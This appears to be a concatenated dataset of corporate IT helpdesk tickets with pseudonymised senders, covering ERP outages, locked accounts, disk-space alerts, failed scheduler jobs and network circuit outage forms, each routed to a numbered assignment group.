iaxyjkrz.pctnvdrm@gmail.com id: eulalla\_x000D\_
\_x000D\_
zpfitlyu.cemvwyso@gmail.com id: silvaes\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: csscdrill model on configair server not working in SID\_34 production, Description: csscdrill model on configair server not working in SID\_34 production:\_x000D\_
when starting the csscdrill model from a standard reference product the server responses "500 internal server error" - error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'.\_x000D\_
when starting the csscdrill model from scratch (w/o selecting a standard reference product) configair comes up, but it does not allow me to complete a good configuration.\_x000D\_
the same csscdrill model is working fine in SID\_1 uacyltoe hxgaycze environment.\_x000D\_
\_x000D\_
the mill\_model model is working fine in SID\_1 and SID\_34., is assigned to Assignment group: GRP\_14.Ticket with Short description: lhqsm519:average (4 samples) disk free on h:\ is now 12%, Description: average (4 samples) disk free on h:\ is now 12%, which is below the warning threshold (15%) out of total size 200.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: news can not be opened, Description: \_x000D\_
\_x000D\_
received from: uwofavej.hxyatnjc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
since some days, when the regional news moved to first page of hub, again & again, â€žnews" appear with out â€žmore" to open it or a link in the heading\_x000D\_
\_x000D\_
this screen print is just before i wrote this email\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f491.67af6c00]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: replace button is missing on dialog box in shopping basket, Description: replace button is missing on dialog box in shopping basket when you click on status indicator and msg displays there is a replacement, 'replace' button is missing. needs to be same as on other grid pages, is assigned to Assignment group: GRP\_21.Ticket with Short description: outlook is not functioning., Description: outlook is not functioning., is assigned to Assignment group: GRP\_0.Ticket with Short description: enhancement of storage capacity, Description: \_x000D\_
\_x000D\_
received from: ihmbfeoy.exbgcfsk@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
we do not have sufficient space of following drives in server. request you to enhance the storage capacity of these drives.\_x000D\_
\_x000D\_
\_x000D\_
01) mtbu\_ele(\\HostName\_95<file:///\\HostName\_95>)\_x000D\_
\_x000D\_
02) eplan vault(\\HostName\_97<file:///\\HostName\_97>)\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: mouse issue, Description: mouse is not working , is assigned to Assignment group: GRP\_19.Ticket with Short description: 12th aug ,friday on-call - basis, Description:
received from: mnxbeuso.rfmdlwuo@gmail.com
dac / gso team â€“
please note the on-call primary/secondary details only for today 12th aug 2016, friday between 23:30 ist to 13th aug 2016, saturday 07:00 ist.
primary â€“ krisyuhnyrt juvfghtla
secondary â€“ thomklmas kahtuithra
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mandatory condition mwst is missing for order 35805176 customer master 70928858, Description: could you please check what is wrong with customer master 81039969? we can't create delivery because there are incomplete log -pricing error: mandatory condition mwst is missing\_x000D\_
we check with pricing department and mwst is defined for this customer corretly,\_x000D\_
\_x000D\_
there should be tax like for turkey tr "tax free trade zone" because customer is from azerbaijan, maybe has to be added some condition for this country also,\_x000D\_
\_x000D\_
we have to ship the tools today because it is new order form new distributor with big potential, so priority -2 \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: abended job in job\_scheduler: Job\_499, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_499 at 08/12/16 04:40:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: setup new ws\svuxjkpg tpurnjvi, Description: setup new ws\svuxjkpg tpurnjvi, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \xovczlad fkicawph, Description: setup new ws \xovczlad fkicawph, is assigned to Assignment group: GRP\_24.Ticket with Short description: ak - crm in outlook not working, Description:
received from: wdpzfqgi.zndgqcux@gmail.com
hello,
can you please help me to solve the following issue?
1. whenever i want to start outlook, then i get this microsoft dynamics crm message.
2. in order to proceed further i have to click Â´Â´stornoÂ´Â´= cancel severeal times (2x or 3x)
3. then the outlook is opened, but there is no connection with crm, which i need.
[cid:image002.jpg@01d1f482.68356731]
s pofgtzdravem / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: setup new ws \bzekndcu ivhnpdbu, Description: setup new ws \bzekndcu ivhnpdbu, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup laptop fÃ¼r sandstrahlgerÃ¤t und roboworker\qidgvtwa qvbutayx, Description: setuplaptop fÃ¼r sandstrahlgerÃ¤t und roboworker\qidgvtwa qvbutayx, is assigned to Assignment group: GRP\_24.Ticket with Short description: mobiltelefon lautsprecher / mikrofon defekt / gestÃ¶rt, Description: durchwahl -477\_x000D\_
mobilteil gigaset sl2\_x000D\_
lautsprecher / mikrofon kratzen bzw. setzten zeitweise aus, is assigned to Assignment group: GRP\_33.Ticket with Short description: can you please help, Description: \_x000D\_
\_x000D\_
received from: smktofel.etsoirbw@gmail.com\_x000D\_
\_x000D\_
hiï¼Œ\_x000D\_
\_x000D\_
i want to know how to run the report from finance\_app regarding the report of allocation key for cost centers being allocated to different bu, can you please help?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_55.Ticket with Short description: unable to upload engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: ftsqkvre.bqzrupic@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
i am unable to upload engineering\_tools, the error is showing not connected to the server but application shows connected status. please see the screen shot for your ref.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f49b.61c1bcd0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: password does not work it says 'account is disabled', Description: password does not work it says 'account is disabled', is assigned to Assignment group: GRP\_2.Ticket with Short description: abended job in job\_scheduler: Job\_2049, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2049 at 08/12/16 02:57:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: vendor payment through bank , Description:
received from: gnasmtvx.cwxtsvkm@gmail.com
hi pradtheyp/nathyresh
with effect from tuesday(ie 16.08.2016), we propose make all vendor payments through bank. in order to facilitate this process you are requested to make the following changes in the vendor master for all domestic vendors. ( list is enclosed)
1) house bank id to be changed from itelephony\_softwarei bank to bank of amerirtca
2) method of payments should be a,w & c
3) e mail address to be updated in correspondence internet id
once the changes are made, please confirm so that we can initiate the first payment to vendors through bank.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: abended job in job\_scheduler: Job\_1960, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1960 at 08/12/16 02:01:24, is assigned to Assignment group: GRP\_6.Ticket with Short description: problem in calling through skype, Description:
received from: ftgvlneh.aitsgqwo@gmail.com
dear sir,
i am facing problems while individual calling as well as attending meetings on skype.
whenever i am trying to connect, it is coming "not responding" and skype-app is getting closed & signed out.
request to pl. resolve the same.
for company
ftgvlneh aitsgqwo
asst. mngr. sales â€“ north ( msg)
ftgvlneh.aitsgqwo@gmail.com<mailto:ftgvlneh.aitsgqwo@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp routing logic missing for the infrastrcture npr forms., Description: pls add the below data in the zsd100 and determine the logic through region.\_x000D\_
\_x000D\_
apac = 51113201 csd\_ap\_xz custom solution earth cutting\_x000D\_
germany = 51111840 csd\_na\_bdc bdc usa custom solutions\_x000D\_
australia = 51112576 csd\_aus\_drum drum jobs australia\_x000D\_
poland = 51111844 eng\_emea\_pz poland quotes/orders eng programdnty eng\_x000D\_
amerirtcas = 51111840 csd\_na\_bdc bdc usa custom solutions\_x000D\_
south africa = 51113351 csd\_emea\_sa south africa purchasing\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_21.Ticket with Short description: incorrect tax code in mm, Description: hello,\_x000D\_
\_x000D\_
we understand from order booking team that while booking order since yesterday , they have come across many mm's with '0' tax rate .\_x000D\_
\_x000D\_
material country jivp jivc csr name prod. hierarchy\_x000D\_
6740704 in 2 2 chandmt t0130sww0ah2\_x000D\_
5146604 in 2 2 chandmt t0130pssh0ru\_x000D\_
4869277 in 2 2 chandmt t0130sww0ah2\_x000D\_
5146697 in 2 2 chandmt t0130pssh0ru\_x000D\_
\_x000D\_
list of few items which has '0' tax rate is given above \_x000D\_
\_x000D\_
at present they are booking order with correct tax rate in oa .\_x000D\_
\_x000D\_
request your assistance in resolving this on top priority as we have put on hold all invoicing . \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: need help in reset password in password\_management\_tool password manager, Description: need help in reset password in password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: bkbackup\_tool\_reporting\_tool\_prod\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkbackup\_tool\_reporting\_tool\_prod\_inc at 08/12/16 00:14:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: bkbackup\_tool\_HostName\_771\_prod\_full, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkbackup\_tool\_HostName\_771\_prod\_full at 08/12/16 00:06:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: account lokced in erp SID\_34, Description: account lokced in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: recall: ticket\_no1536413 -- comments added, Description: \_x000D\_
\_x000D\_
received from: franhtyu.liu@company.com\_x000D\_
\_x000D\_
franhtyu liu would like to recall the message, "ticket\_no1536413 -- comments added".\_x000D\_
\_x000D\_
\_x000D\_
æœ¬è®¯æ¯ä»…ä¾›æŒ‡å®šçš„æŽ¥æ”¶äººä½¿ç”¨ï¼Œå…¶ä¸­å¯èƒ½åŒ…å«é€‚ç”¨æ³•å¾‹é¡¹ä¸‹ç‰¹è®¸çš„ã€ä¿å¯†çš„å’Œç¦æ­¢æŠ«éœ²çš„å†…å®¹ã€‚é™¤æŒ‡å®šçš„æŽ¥æ”¶äººå¤–ï¼Œä¸¥ç¦å…¶ä»–ä»»ä½•äººä¼ æ’­ã€åˆ†å‘æˆ–å¤åˆ¶æœ¬è®¯æ¯ã€‚å¦‚æžœæ‚¨è¯¯æ”¶åˆ°æœ¬è®¯æ¯ï¼Œè¯·é€šçŸ¥å‘ä»¶äººå¹¶å°†è®¯æ¯åˆ é™¤ã€‚\_x000D\_
[\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_38hotf, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_38hotf at 08/11/16 23:06:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: issue with bex,business\_client, Description: \_x000D\_
\_x000D\_
received from: ypuaejsc.yoxrqtsn@gmail.com\_x000D\_
\_x000D\_
dear sir/madam,\_x000D\_
\_x000D\_
i am not able to access bex as well as business\_client.\_x000D\_
\_x000D\_
pl rectify immediately. its urgent.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: required 20 gb additional memory in e drive for server HostName\_1042 \_ please check attachment, Description: required 20 gb additional memory in e drive for server HostName\_1042 \_ please check attachment, is assigned to Assignment group: GRP\_12.Ticket with Short description: not able to login to skype, Description: not able to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: m drive access, Description:
received from: uisewznr.ewtmkphs@gmail.com
hi team,
i have lost access to the m drive on my computer. please see the screenshots below. this same issue is occurring for walfgtkek and tagsyrhu. can you please arrange for this access to be reinstated? , is assigned to Assignment group: GRP\_12.Ticket with Short description: circuit outage : usa secondary circuit is down since 06:28pm et on 08/11, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_06:28pm et on 08/11\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_yes\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_email\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1623, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1623 at 08/11/16 18:26:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1488, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1488 at 08/11/16 18:22:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1491, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1491 at 08/11/16 18:22:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1493, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1493 at 08/11/16 18:22:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_2114, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2114 at 08/11/16 17:32:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to access emails , Description: unable to access emails , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: hr\_tooldcvcgenratn, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: hr\_tooldcvcgenratn at 08/11/16 17:02:26, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_2318, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2318 at 08/11/16 17:01:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 35853596\_x000D\_
\_x000D\_
what material or item number? 10\_x000D\_
\_x000D\_
what warehouse location? plant\_123\_x000D\_
\_x000D\_
issue description / error message? value of modific counter for document 35853596 in supply\_chain is 1, but should be 6, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp is down - distributor\_tool / company center customers are not able to place transactions, Description: erp is down - distributor\_tool / company center customers are not able to place transactions. customer service is not able to place transactions in ecc , is assigned to Assignment group: GRP\_0.Ticket with Short description: md04, display stock, is locking up with create delivery, 30min to 1hr, had to close out window, still didnt process, Description: the window is locked up, can't do screenshots, just a spinning circle, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp down, Description: user id - vaugtyghtl
issue - erp down
location - usa
no of users affected - 15+
system - erp SID\_34 erp production
issue - just clocking
contact no -
server name - HostName\_196
transaction - md04.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: mobile device activation
name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:vfrdxtqw.jfbmsenz@gmail.com
customer number:
telephone:
summary:requesting email to my personal iphone., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp produktion hÃ¤ngt bei ot03 auftrÃ¤gen, Description: ot01 auftrÃ¤ge funktionieren, ot03 auftrÃ¤ge lassen sich nicht bearbeiten ( beim ausliefern), is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1953d, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953d at 08/11/16 16:08:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: outage on erp SID\_34, Description: outage on erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: german call, Description: german call, is assigned to Assignment group: GRP\_0.Ticket with Short description: totalteamsales sproc is not assigning direct team revenue to employees, Description: totalteamsales sproc is not assigning direct team revenue to employees, is assigned to Assignment group: GRP\_25.Ticket with Short description: skype shows i am online but i am not, Description: i have noticed that i received by email some messages of skype for business even when i am off line. i did a uacyltoe hxgaycze, i have turned off my pc and smartphone, and from the pc of my colleagues it shows i am "inactive or away". then people send me message. , is assigned to Assignment group: GRP\_26.Ticket with Short description: need ticket zmm\_stock\_transfer, Description:
received from: dqplrwoy.cutpwjie@gmail.com
programdnty zmm\_stock\_transfer is not processing. it's been on an eternal circle.
franhtyu â€“ rebalancing not completing.
dqplrwoy cutpwjie
supply chain planner
dqplrwoy.cutpwjie@gmail.com<mailto:dqplrwoy.cutpwjie@gmail.com>
, is assigned to Assignment group: GRP\_29.Ticket with Short description: install a printer in maintenance area, Description: install a printer in maintenance area, is assigned to Assignment group: GRP\_3.Ticket with Short description: network problems (multiple applications are running slow), Description: how did you determine there are network problems erp SID\_34\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) yes erp slow\_x000D\_
\_x000D\_
are more than one transactions impacted yes \_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) HostName\_200\_x000D\_
\_x000D\_
do other co-workers also notice slow response times in erp - yes, four users at usa \_x000D\_
\_x000D\_
what other applications are running slow - erp SID\_34\_x000D\_
\_x000D\_
can you access your data files on the server \_x000D\_
\_x000D\_
any other comments or issues with other systems ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: application response time (other network resources work normally), Description: please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the "operations" folder).
site / location : usa
user id (ad) : dinkifgtrl
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): SID\_34 erp production // server name - HostName\_201
transactions that are slow (e.g., va01, create an order): quotes and orders // va01, va21
area this belongs to (e.g., sales, finance, markhtyeting etc.): sales (as per robhyertyj)
how can this issue be replicated by the it support group:
are other users seeing this? yes, 40+
please attach relevant screenshots and exact times when the issue occurred: attached
user name - robhyertyj l dinfgrtyukins
contact no - , is assigned to Assignment group: GRP\_13.Ticket with Short description: check my security for the ethics collaboration\_platform page, Description:
received from: azxhejvq.fyemlavd@gmail.com
hi,
please check my security for the ethics collaboration\_platform page. i am trying to upload a file to the "procedures" category folder. i was able to upload to the noname category, but for some reason i cannot upload into procedures. i suspect a security setting.
[cid:image001.png@01d1f3e3.d3542d50]
mikhghytr wafglhdrhjop
sr. manager, global ethics and compliance programdntys
, is assigned to Assignment group: GRP\_27.Ticket with Short description: problem, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
when i try to submit a discount form i get the below error. please advise.
[cid:image001.jpg@01d1f3d7.bdb9e590]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1967d, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1967d at 08/11/16 14:53:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: site contact reported circuit outage in south amerirtca, Description: santiago-south amerirtca has reported that today (11/08/2016) between 12:40pm and 1:10pm (30 minutes), the dmvpn was not working. they have contacted the local isp which confirmed that the internet circuit was working fine.\_x000D\_
could you please investigate the logs of the router and let us know your findings?\_x000D\_
i am surprised that datacenter team did not contacted us about that issue.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: circuit outage:apac/fengapac - (company) vpn circuit is down at 2:14 pm et on 08/11. site is up on primary circuit., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_2:14 pm et on 08/11\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to login to SID\_1 using erp gui, Description: hi,\_x000D\_
i am unable to login to SID\_1 today and i see the error shown in the screenshots.\_x000D\_
request your help at the earliest since i'm trying to uacyltoe hxgaycze something related to engineering\_tool.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage: india, india site is hard down at 1:29pm et on 08/11., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_1:29pm et on 08/11.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? no(yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: programdnty in erp not loading, Description: programdnty in erp not loading, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise, Description: blank call // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: license query , Description: hello ,\_x000D\_
please arrange that mrs de gracia fernandez ghjkzalez (100783) a k1 (access to your payroll) gets approval.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lhqsm674 (kas hfyujqti jdcbiezx2): average (4 samples) disk free on c:\ is now 9%, which is below the warning threshold., Description: lhqsm674 (kas hfyujqti jdcbiezx2): average (4 samples) disk free on c:\ is now 9%, which is below the warning threshold (10%) out of total size 75.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: npc 311190861. please refer screenshot., Description: npc 311190861. mrp type incorrect error. , is assigned to Assignment group: GRP\_11.Ticket with Short description: application response time (other network resources work normally), Description: please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the "operations" folder).
site / location : corporate
user id (ad) : prohgtyarb
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): workflow
transactions that are slow (e.g., va01, create an order): quote
area this belongs to (e.g., sales, finance, markhtyeting etc.): sales
how can this issue be replicated by the it support group:
are other users seeing this?
please attach relevant screenshots and exact times when the issue occurred: q#3116214820 is stuck in my workflow, when i try to go in it, says i am in it, and i cannot save it out, is assigned to Assignment group: GRP\_13.Ticket with Short description: major problem with inventory, Description: the needs to be sev2. because it heavily limits the amount of production i can put out on the floor. also, multiple people and departments are affected, not just me. this includes many additional man-hours.\_x000D\_
\_x000D\_
received from: lijrvdgh.wfhmdsoa@gmail.com\_x000D\_
\_x000D\_
i am having an issue with the oracle powder charging system automatically issuing material to production orders in erp. we are having to use many extra man hours manually entering in the data in erp. also, this problem dramdntyatically decreases the efficiency and accuracy or issuing production orders.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: unable to log in to windows, Description: unable to log in to windows, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa, ar - pbx (rqxaudix.company.com) is down since 11:24am on 08/11/16, Description: usa, ar - pbx (rqxaudix.company.com) is down since 11:24am on 08/11/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: access to security group : k-gshn, Description:
summary:please add me to the k-gshn e-mail group. , is assigned to Assignment group: GRP\_2.Ticket with Short description: plug in not responding error in erp, Description: plug in not responding error in erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: error message in pthsqroz moedyanvess, Description:
erp pthsqroz moedyanvess
error message: "object notification: business operation not entered in your user master'
, is assigned to Assignment group: GRP\_11.Ticket with Short description: outlook goes to not responding, Description: outlook goes to not responding, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wanted to reset internet explorer , Description: user wanted to reset internet explorer , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out , Description: account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 erp production account locked , Description: erp SID\_34 erp production account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: transfer information from old to new laptop, Description: transfer information from old to new laptop, is assigned to Assignment group: GRP\_3.Ticket with Short description: can't print in color, Description: color printer not working, is assigned to Assignment group: GRP\_3.Ticket with Short description: HostName\_562, Description: i'm unable to reach the destination server ... is it offline ?, is assigned to Assignment group: GRP\_12.Ticket with Short description: zpress does not save data for material 5666264, Description: zpress does not save data for material 6777375, pl. check for order no 115697658, is assigned to Assignment group: GRP\_20.Ticket with Short description: can not join skype meeting, Description: can not join skype meeting, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc aufstellen, Description: bitte an smpijawb eawkpgqf weiterleiten:\_x000D\_
nachdem das alicona messgerÃ¤t umgestellt wurde, muss der pc fÃ¼r sdnemlwy dsbmgonk aufgebaut werden (apl vor juchaomy gaxrulwo - av abstechprogramdntym).\_x000D\_
soll termin bis 26.august\_x000D\_
mitarbeiterin kommt am 29.august zurÃ¼ck, is assigned to Assignment group: GRP\_42.Ticket with Short description: arbeitsplatz umziehen, Description: bitte an smpijawb eawkpgqf weiterleiten:\_x000D\_
alicona messgerÃ¤t muss von av abstechprogramdntym in halle 4 (ehem. ventilstÃ¶ÃŸel kontrolle) umgestellt werden.\_x000D\_
